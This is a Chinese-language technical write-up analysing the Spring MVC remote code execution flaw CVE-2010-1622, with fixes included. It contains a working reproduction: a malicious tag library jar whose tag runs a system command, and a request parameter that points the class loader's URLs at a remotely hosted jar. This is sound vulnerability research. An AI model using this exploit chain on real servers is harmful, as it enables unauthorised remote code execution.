SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析
CVE-2010-1622很老的的一个洞了,最近在分析Spring之前的漏洞时看到的。利用思路很有意思,因为这个功能其实之前开发的时候也经常用,当然也有很多局限性。有点类似js原型链攻击的感觉,这里分享出来。
介绍
CVE-2010-1622因为Spring框架中使用了不安全的表单绑定对象功能。这个机制允许攻击者修改加载对象的类加载器的属性,可能导致拒绝服务和任意命令执行漏洞。
Versions Affected:
3.0.0 to 3.0.2
2.5.0 to 2.5.6.SEC01 (community releases)
2.5.0 to 2.5.7 (subscription customers)Earlier versions may also be affected
Java Beans API
JavaBean是一种特殊的类,主要用于传递数据信息,这种类中的方法主要用于访问私有的字段,且方法名符合某种命名规则。如果在两个模块之间传递信息,可以将信息封装进JavaBean中。这种JavaBean的实例对象称之为值对象(Value Object),因为这些bean中通常只有一些信息字段和存储方法,没有功能性方法,JavaBean实际就是一种规范,当一个类满足这个规范,这个类就能被其它特定的类调用。一个类被当作javaBean使用时,JavaBean的属性是根据方法名推断出来的,它根本看不到java类内部的成员变量。
内省(Introspector) 是Java 语言对 JavaBean 类属性、事件的一种缺省处理方法。其中的propertiesDescriptor
实际上来自于对Method的解析。
如我们现在声明一个JavaBean—Test
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
public class Test { private String id; private String name; public String getPass() { return null; } public String getId() { return id; } public void setId(String id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } } |
在类Test中有私有属性id,我们可以通过getter/setter方法来访问/设置这个属性。在Java JDK中提供了一套 API 用来访问某个属性的 getter/setter 方法,这就是内省。
因为内省操作非常麻烦,所以Apache开发了一套简单、易用的API来操作Bean的属性——BeanUtils工具包。
Java Beans API的Introspector类提供了两种方法来获取类的bean信息:
1 2 3 |
BeanInfo getBeanInfo(Class beanClass) BeanInfo getBeanInfo(Class beanClass, Class stopClass) |
这里就出现了一个使用时可能出现问题的地方,即没有使用stopClass
,这样会使得访问该类的同时访问到Object.class。因为在java中所有的对象都会默认继承Object基础类
而又因为它存在一个getClass()
方法(只要有 getter/setter 方法中的其中一个,那么 Java 的内省机制就会认为存在一个属性),所以会找到class属性。
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
public class Main { public static void main(String[] args) throws Exception { BeanInfo info = Introspector.getBeanInfo(Test.class); // BeanInfo info = Introspector.getBeanInfo(Class.class); // BeanInfo info = Introspector.getBeanInfo(Test.class,Object.class); PropertyDescriptor[] properties = info.getPropertyDescriptors(); for (PropertyDescriptor pd : properties) { System.out.println("Property: " + pd.getName()); } } } |
output:
1 2 3 4 5 |
Property: class Property: id Property: name Property: pass |
其中后三个属性是我们预期的(虽然没有pass属性,但是有getter方法,所以内省机制就会认为存在一个属性),而class则是对应于Object.class。

如果我们接着调用
1 2 |
Introspector.getBeanInfo(Class.class) |
可以获得更多信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
Property: annotation Property: annotations Property: anonymousClass Property: array Property: canonicalName Property: class Property: classLoader Property: classes Property: componentType Property: constructors Property: declaredAnnotations Property: declaredClasses ... |
可以看到关键的classLoader
出现了
SpringMVC如何实现数据绑定
首先SpringMVC中当传入一个http请求时会进入DispatcherServlet的doDispatch,然后前端控制器请求HandlerMapping查找Handler,接着HandlerAdapter请求适配器去执行Handler,然后返回ModelAndView,ViewResolver再去解析并返回View,前端解析器去最后渲染视图。

在这个过程中我们这里主要关注再适配器中invokeHandler调用到的参数解析所进行的数据绑定(在调用controller中的方法传入参数调用前进行的操作)。
无论是spring mvc的数据绑定(将各式参数绑定到@RequestMapping注解的请求处理方法的参数上),还是BeanFactory(处理@Autowired注解)都会使用到BeanWrapper接口。

过程如上,BeanWrapperImpl具体实现了创建,持有以及修改bean的方法。
其中的setPropertyValue方法可以将参数值注入到指定bean的相关属性中(包括list,map等),同时也可以嵌套设置属性。
如:
tb中有个spouse的属性,也为TestBean
1 2 3 4 5 |
TestBean tb = new TestBean(); BeanWrapper bw = new BeanWrapperImpl(tb); bw.setPropertyValue("spouse.name", "tom"); //等价于tb.getSpouse().setName("tom"); |
变量覆盖问题
在springMVC传进参数进行数据绑定的时候存在一个这样的变量覆盖问题,我们来看一下demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
public class User { private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } } public class UserInfo { private String id ; private String number; private User user=new User(); private String names[] = new String[]{"1"}; public String getId() { return id; } public String getNumber() { return number; } public void setId(String id) { this.id = id; } public User getUser() { return user; } public String[] getNames() { return names; } } |
新建两个类User和UserInfo,其中User的name和UserInfo中id有get和set方法,而UserInfo中的user,number和names[]数组只有get方法。
1 2 3 4 5 6 7 8 9 10 |
@RequestMapping(value = "/test", method = RequestMethod.GET) public void test(UserInfo userInfo) { System.out.println("id:"+userInfo.getId()); System.out.println("number:"+userInfo.getNumber()); System.out.println("class:"+userInfo.getClass()); System.out.println("user.name:"+userInfo.getUser().getName()); System.out.println("names[0]:"+ userInfo.getNames()[0]); System.out.println("classLoader:"+ userInfo.getClass().getClassLoader()); } |
测试controller,发送请求
1 |
http://localhost:8088/test?id=1&name=test&class.classLoader=org.apache.catalina.loader.StandardClassLoader&class=java.lang.String&number=123&user.name=ruilin&names[0]=33333 |
结果:

可以看到id正常,number没有接收到也正常,因为没有set方法,class和classLoader同样没有set方法,所以失败。name有set所以赋值成功。
接下来的names反而发现赋值成功了,这就比较有意思了,因为names这里我们没有设置set方法它却成功赋值。
上面我们分析流程提到了BeanWrapperImpl的setPropertyValue方法是用来绑定赋值的,所以我们在此处打上断点,一起调试一下看一下。

跳到names[0]处理时

接着看一下它是如何获得对应的类中参数

跟进getPropertyValue方法

发现是从CachedIntrospectionResults获取PropertyDescriptor。我们来看下CachedIntrospectionResults如何来的。

看到了熟悉的Introspector.getBeanInfo。这也就是我们上面讲过的内省,因此可以理解它为什么它能去获取到没有set的属性。
接着到赋值操作。

看代码可以知道当判断为Array时会直接调用Array.set,由此绕过了set方法,直接调用底层赋值。后面同样List,Map类型的字段也有类似的处理,也就是说这三种类型是不需要set方法的。对于一般的值,直接调用java反射中的writeMethod方法给予赋值。
漏洞复现
环境:tomcat-6.0.26 spring-webmvc-3.0.0.RELEASE
构建一个jar包META-INF中放入spring-form.tld和tags/InputTag.tag

内容为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
//spring-form.tld <?xml version="1.0" encoding="UTF-8"?> <taglib xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd" version="2.0"> <description>Spring Framework JSP Form Tag Library</description> <tlib-version>3.0</tlib-version> <short-name>form</short-name> <uri>http://www.springframework.org/tags/form</uri> <tag-file> <name>input</name> <path>/META-INF/tags/InputTag.tag</path> </tag-file> <tag-file> <name>form</name> <path>/META-INF/tags/InputTag.tag</path> </tag-file> </taglib> //InputTag.tag <%@ tag dynamic-attributes="dynattrs" %> <% java.lang.Runtime.getRuntime().exec("open /Applications/Calculator.app"); %> |
编译出的jar包放到web上提供下载
待测试springmvc编写jsp代码
1 2 3 4 5 6 |
//hello.jsp <%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%> <form:form commandName="user"> <form:input path="name"/> </form:form> |
controller如下:
1 2 3 4 5 6 7 |
@RequestMapping(value = "/hello") public String hello(Model model,User user) { model.addAttribute("user",user); model.addAttribute("name", user.getName()); return "hello"; } |
部署并启动tomcat后打开页面
http://localhost:8088/hello?class.classLoader.URLs[0]=jar:http://127.0.0.1:8000/sp-exp.jar!/

成功触发
漏洞原理
通过上面可以知道,我们利用了springmvc的参数自动绑定配合数组变量覆盖,造成了class.classLoader.URLs[]可以被控制,之后发生了这次RCE。
我们来具体看下之后是如何执行的。

首先setPropertyValue将对应参数填入URLs[],结果如上图已经赋给了classloader
接着在渲染jsp页面时,Spring会通过Jasper中的TldLocationsCache类(jsp平台对jsp解析时用到的类)从WebappClassLoader里面读取url参数(用来解析TLD文件在解析TLD的时候,是允许直接使用jsp语法的)在init时通过scanJars方法依次读取并加载。

这里主要是在ViewRwsolver视图解析渲染流程中,其他细节我们不用关注,在完成模版解析后,我们可以看下生成的文件,发现除了_jsp.clss还有我们从jar中下载的恶意代码InputTag_tag.class已经被编译到本地。

首先来看hello_jsp.java,因为实际上jsp就是一个servlet,所以最后生成是一个java文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 |
package org.apache.jsp.WEB_002dINF.jsp; import javax.servlet.*; import javax.servlet.http.*; import javax.servlet.jsp.*; public final class hello_jsp extends org.apache.jasper.runtime.HttpJspBase implements org.apache.jasper.runtime.JspSourceDependent { private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory(); private static java.util.List _jspx_dependants; static { _jspx_dependants = new java.util.ArrayList(2); _jspx_dependants.add("jar:http://127.0.0.1:8000/sp-exp.jar!/META-INF/spring-form.tld"); _jspx_dependants.add("jar:http://127.0.0.1:8000/sp-exp.jar!/META-INF/tags/InputTag.tag"); } private javax.el.ExpressionFactory _el_expressionfactory; private org.apache.AnnotationProcessor _jsp_annotationprocessor; public Object getDependants() { return _jspx_dependants; } public void _jspInit() { _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory(); _jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName()); } public void _jspDestroy() { } public void _jspService(HttpServletRequest request, HttpServletResponse response) throws java.io.IOException, ServletException { PageContext pageContext = null; HttpSession session = null; ServletContext application = null; ServletConfig config = null; JspWriter out = null; Object page = this; JspWriter _jspx_out = null; PageContext _jspx_page_context = null; try { response.setContentType("text/html"); pageContext = _jspxFactory.getPageContext(this, request, response, null, true, 8192, true); _jspx_page_context = pageContext; application = pageContext.getServletContext(); config = pageContext.getServletConfig(); session = pageContext.getSession(); out = pageContext.getOut(); _jspx_out = out; out.write('\n'); out.write('\n'); if (_jspx_meth_form_005fform_005f0(_jspx_page_context)) return; } catch (Throwable t) { if (!(t instanceof SkipPageException)){ out = _jspx_out; if (out != null && out.getBufferSize() != 0) try { out.clearBuffer(); } catch (java.io.IOException e) {} if (_jspx_page_context != null) _jspx_page_context.handlePageException(t); } } finally { _jspxFactory.releasePageContext(_jspx_page_context); } } private boolean _jspx_meth_form_005fform_005f0(PageContext _jspx_page_context) throws Throwable { PageContext pageContext = _jspx_page_context; JspWriter out = _jspx_page_context.getOut(); // form:form org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag _jspx_th_form_005fform_005f0 = new org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag(); org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor, _jspx_th_form_005fform_005f0); _jspx_th_form_005fform_005f0.setJspContext(_jspx_page_context); // /WEB-INF/jsp/hello.jsp(3,0) null _jspx_th_form_005fform_005f0.setDynamicAttribute(null, "commandName", new String("user")); _jspx_th_form_005fform_005f0.setJspBody(new Helper( 0, _jspx_page_context, _jspx_th_form_005fform_005f0, null)); _jspx_th_form_005fform_005f0.doTag(); org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor, _jspx_th_form_005fform_005f0); return false; } private boolean _jspx_meth_form_005finput_005f0(javax.servlet.jsp.tagext.JspTag _jspx_parent, PageContext _jspx_page_context) throws Throwable { PageContext pageContext = _jspx_page_context; JspWriter out = _jspx_page_context.getOut(); // form:input org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag _jspx_th_form_005finput_005f0 = new org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag(); org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0); _jspx_th_form_005finput_005f0.setJspContext(_jspx_page_context); _jspx_th_form_005finput_005f0.setParent(_jspx_parent); // /WEB-INF/jsp/hello.jsp(4,1) null _jspx_th_form_005finput_005f0.setDynamicAttribute(null, "path", new String("name")); _jspx_th_form_005finput_005f0.doTag(); org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0); return false; } private class Helper extends org.apache.jasper.runtime.JspFragmentHelper { private javax.servlet.jsp.tagext.JspTag _jspx_parent; private int[] _jspx_push_body_count; public Helper( int discriminator, JspContext jspContext, javax.servlet.jsp.tagext.JspTag _jspx_parent, int[] _jspx_push_body_count ) { super( discriminator, jspContext, _jspx_parent ); this._jspx_parent = _jspx_parent; this._jspx_push_body_count = _jspx_push_body_count; } public boolean invoke0( JspWriter out ) throws Throwable { out.write('\n'); out.write(' '); if (_jspx_meth_form_005finput_005f0(_jspx_parent, _jspx_page_context)) return true; out.write('\n'); return false; } public void invoke( java.io.Writer writer ) throws JspException { JspWriter out = null; if( writer != null ) { out = this.jspContext.pushBody(writer); } else { out = this.jspContext.getOut(); } try { this.jspContext.getELContext().putContext(JspContext.class,this.jspContext); switch( this.discriminator ) { case 0: invoke0( out ); break; } } catch( Throwable e ) { if (e instanceof SkipPageException) throw (SkipPageException) e; throw new JspException( e ); } finally { if( writer != null ) { this.jspContext.popBody(); } } } } } |
首先static块里面可以看到引入的外部jar包,然后代码中对应<spring:form>
和<spring:input>
标签的是_jspx_meth_form_005fform_005f0,_jspx_meth_form_005finput_005f0两个方法。
具体看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
private boolean _jspx_meth_form_005finput_005f0(javax.servlet.jsp.tagext.JspTag _jspx_parent, PageContext _jspx_page_context) throws Throwable { PageContext pageContext = _jspx_page_context; JspWriter out = _jspx_page_context.getOut(); // form:input org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag _jspx_th_form_005finput_005f0 = new org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag(); org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0); _jspx_th_form_005finput_005f0.setJspContext(_jspx_page_context); _jspx_th_form_005finput_005f0.setParent(_jspx_parent); // /WEB-INF/jsp/hello.jsp(4,1) null _jspx_th_form_005finput_005f0.setDynamicAttribute(null, "path", new String("name")); _jspx_th_form_005finput_005f0.doTag(); org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0); return false; } |
new了一个InputTag_tag类并执行doTag()方法,对应我们之前的InputTag.tag,看它生产的java文件中doTag()方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
public void doTag() throws JspException, java.io.IOException { PageContext _jspx_page_context = (PageContext)jspContext; HttpServletRequest request = (HttpServletRequest) _jspx_page_context.getRequest(); HttpServletResponse response = (HttpServletResponse) _jspx_page_context.getResponse(); HttpSession session = _jspx_page_context.getSession(); ServletContext application = _jspx_page_context.getServletContext(); ServletConfig config = _jspx_page_context.getServletConfig(); JspWriter out = jspContext.getOut(); _jspInit(config); jspContext.getELContext().putContext(JspContext.class,jspContext); _jspx_page_context.setAttribute("dynattrs", _jspx_dynamic_attrs); try { out.write('\n'); java.lang.Runtime.getRuntime().exec("open /Applications/Calculator.app"); } catch( Throwable t ) { if( t instanceof SkipPageException ) throw (SkipPageException) t; if( t instanceof java.io.IOException ) throw (java.io.IOException) t; if( t instanceof IllegalStateException ) throw (IllegalStateException) t; if( t instanceof JspException ) throw (JspException) t; throw new JspException(t); } finally { jspContext.getELContext().putContext(JspContext.class,super.getJspContext()); ((org.apache.jasper.runtime.JspContextWrapper) jspContext).syncEndTagFile(); } } |
发现是这里最后执行了之前tag中写的代码导致RCE。
简单总结下主要流程:
exp->参数自动绑定->数组覆盖classLoader.URLs[0]->WebappClassLoader.getURLs()->TldLocationsCache.scanJars()->模板解析->_jspx_th_form_005finput_005f0.doTag()->shellcode
限制条件
首先需要该应用使用了对象绑定表单功能,其次由代码可知
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
//TldLocationsCache.class private void init() throws JasperException { if(!this.initialized) { try { this.processWebDotXml(); this.scanJars(); this.processTldsInFileSystem("/WEB-INF/"); this.initialized = true; } catch (Exception var2) { throw new JasperException(Localizer.getMessage("jsp.error.internal.tldinit", var2.getMessage())); } } } |
需要是该应用启动后第一次的jsp页面请求即第一次渲染进行TldLocationsCache.init才可以,否则无法将修改的URLs内容装载,也就无法加载我们恶意的tld。
如何修复
Tomcat:
虽然是spring的漏洞,但tomcat也做了修复
Return copies of the URL array rather than the original. This facilitated CVE-2010-1622 although the root cause was in the Spring Framework. Returning a copy in this case seems like a good idea.

tomcat6.0.28版本后把getURLs方法返回的值改成了clone的,使的我们获得的拷贝版本无法修改classloader中的URLs[]
Spring:
spring则是在CachedIntrospectionResults中获取beanInfo后对其进行了判断,将classloader添加进了黑名单。

参考
https://www.inbreak.net/archives/377
http://drops.xmd5.com/static/drops/papers-1395.html
https://www.exploit-db.com/exploits/13918
https://dingody.iteye.com/blog/2190987
https://wooyun.js.org/drops/Spring框架问题分析.html
http://blog.o0o.nu/2010/06/cve-2010-1622.html
https://my.oschina.net/u/1170022/blog/138466
https://blog.csdn.net/xiao1_1bing/article/details/81078649
https://www.iteye.com/topic/1123382
http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/loader/WebappClassLoader.java?r1=964215&r2=966292&pathrev=966292&diff_format=h
近期评论